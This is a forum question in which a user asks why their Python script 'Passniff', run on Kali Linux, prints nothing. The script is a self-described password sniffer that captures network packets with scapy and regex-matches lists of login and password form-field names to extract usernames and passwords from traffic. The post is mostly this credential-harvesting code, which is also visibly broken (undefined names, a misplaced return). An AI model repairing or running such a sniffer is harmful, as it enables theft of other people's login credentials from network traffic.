title: why isnt my code outputing the gathered imformation to the console? is it even collecting it?
body: <p>This code runs for me in my kali linux virtual machine, using a wireless adapter to connect to my wifi, but it isnt printing my imformation or even collecting it to display and i dont know enough about it to fix or debug it, maybe someone can help me? ive tried changing my declarations of my variables and making it neater and easier to read but ive still come up empty handed</p>
  <pre><code>    import os
      from termcolor import colored
      c = colored
      import start
      # main functinon
      def passniff():
          print(&quot;\n&quot;)
          print(c(&quot;[----] Continue using Passniff [1]&quot;, &quot;green&quot;))
          print(c(&quot;[----] Go back to main screen [2]&quot;, &quot;red&quot;))
          option1 = int(input(c(&quot;[----] Chose an option: &quot;)))
          if option1 == 2:
              os.system(&quot;clear&quot;)
              start.begin()
          elif option1 == 1:
              # imports
              import scapy.all
              from urllib import parse
              import re
              print(c(&quot;             _____                    _  __  __  &quot;, &quot;red&quot;))
              print(c(&quot;            |  __ \                  (_)/ _|/ _| &quot;, &quot;red&quot;))
              print(c(&quot;            | |__) |_ _ ___ ___ _ __  _| |_| |_  &quot;, &quot;red&quot;))
              print(c(&quot;            |  ___/ _` / __/ __| '_ \| |  _|  _| &quot;, &quot;red&quot;))
              print(c(&quot;            | |  | (_| \__ \__ \ | | | | | | |   &quot;, &quot;red&quot;))
              print(c(&quot;            |_|   \__,_|___/___/_| |_|_|_| |_|   &quot;, &quot;red&quot;))
              print(&quot; &lt;&lt;&lt;&lt;&lt;-----&gt;= Password Sniffer By: IAmFalseBeliefs &lt;=-----&gt;&gt;&gt;&gt;&gt;&quot;)
              print(&quot;        &lt;&lt;&lt;&lt;&lt;-----&gt;= Passwords made easy &lt;=-----&gt;&gt;&gt;&gt;&gt;&quot;)
              print(&quot;\n&quot;)
              
              #iface = input(&quot;[----] Enter the Web Interface you have as defualt (ie. eth0; wlan0): &quot;)
              iface = &quot;eth0&quot;
      
              # searchs web interface for clicking into said possibilites
              def get_login_pass(body):
                  user = None
                  passwd = None
      
                  userfields = [&quot;log&quot;, &quot;login&quot;, &quot;wpname&quot;, &quot;ahd_username&quot;, &quot;unickname&quot;, &quot;nickname&quot;, &quot;user&quot;, &quot;alias&quot;, &quot;pseudo&quot;, &quot;email&quot;, &quot;username&quot;, &quot;fuserid&quot;, &quot;form_loginname&quot;, &quot;login_id&quot;, &quot;loginid&quot;, &quot;session_key&quot;, &quot;sessionkey&quot;, &quot;pop_login&quot;, &quot;uid&quot;, &quot;id&quot;, &quot;uname&quot;, &quot;ulogin&quot;, &quot;acctname&quot;, &quot;account&quot;, &quot;member&quot;, &quot;mailaddress&quot;, &quot;membername&quot;, &quot;login_email&quot;, &quot;loginusername&quot;, &quot;loginemail&quot;, &quot;uin&quot;, &quot;sign-in&quot;, &quot;usuario&quot;]
                  passfields = [&quot;ahd_password&quot;, &quot;pass&quot;, &quot;password&quot;, &quot;passwd&quot;, &quot;_password&quot;, &quot;session_password&quot;, &quot;login_password&quot;, &quot;loginpassword&quot;, &quot;form_pw&quot;, &quot;pw&quot;, &quot;userpassword&quot;, &quot;user_password&quot;, &quot;passwort&quot;, &quot;upasswd&quot;, &quot;senha&quot;, &quot;wppassword&quot;, &quot;constrasena&quot;]
      
                  for login in userfields:
                      login_re = re.search(&quot;(%s=[^&amp;]+)&quot; % login, body, re.IGNORECASE)
                      if login_re:
                          user = login_re.group()
                  for passfield in passfields:
                      pass_re = re.search(&quot;(%s=[^&amp;]+)&quot; % passfield, body, re.IGNORECASE)
                      if pass_re:
                          passwd = pass_re.group()
      
                      if user and passwd:
                          return(user, passwd)
      
              # prints out collected information
              def pkt_parser(packet):
                  if packet.haslayer(TCP) and packet.haslayer(str(Raw)) and packet.haslayer(IP):
                      body = str(packet[TCP].payload)
                      user_pass = get_login_pass(body)
                      if user_pass != None:
                          print(c(&quot;[----] Website Login: &quot; + packet[TCP].payload, &quot;green&quot;))
                          print(c(&quot;[----] Username Found: &quot; + parse.unquote(user_pass[0]), &quot;green&quot;))
                          print(c(&quot;[----] Password Found: &quot; + parse.unquote(user_pass[1]), &quot;green&quot;))
                          
                  else:
                      pass
      
              try:
                  sniff(iface = eth0, prn = pkt_parser, store = 0)
              except KeyboardInterrupt:
                  print(c(&quot;[----] Exiting&quot;, &quot;red&quot;))
                  exit(0)
  </code></pre>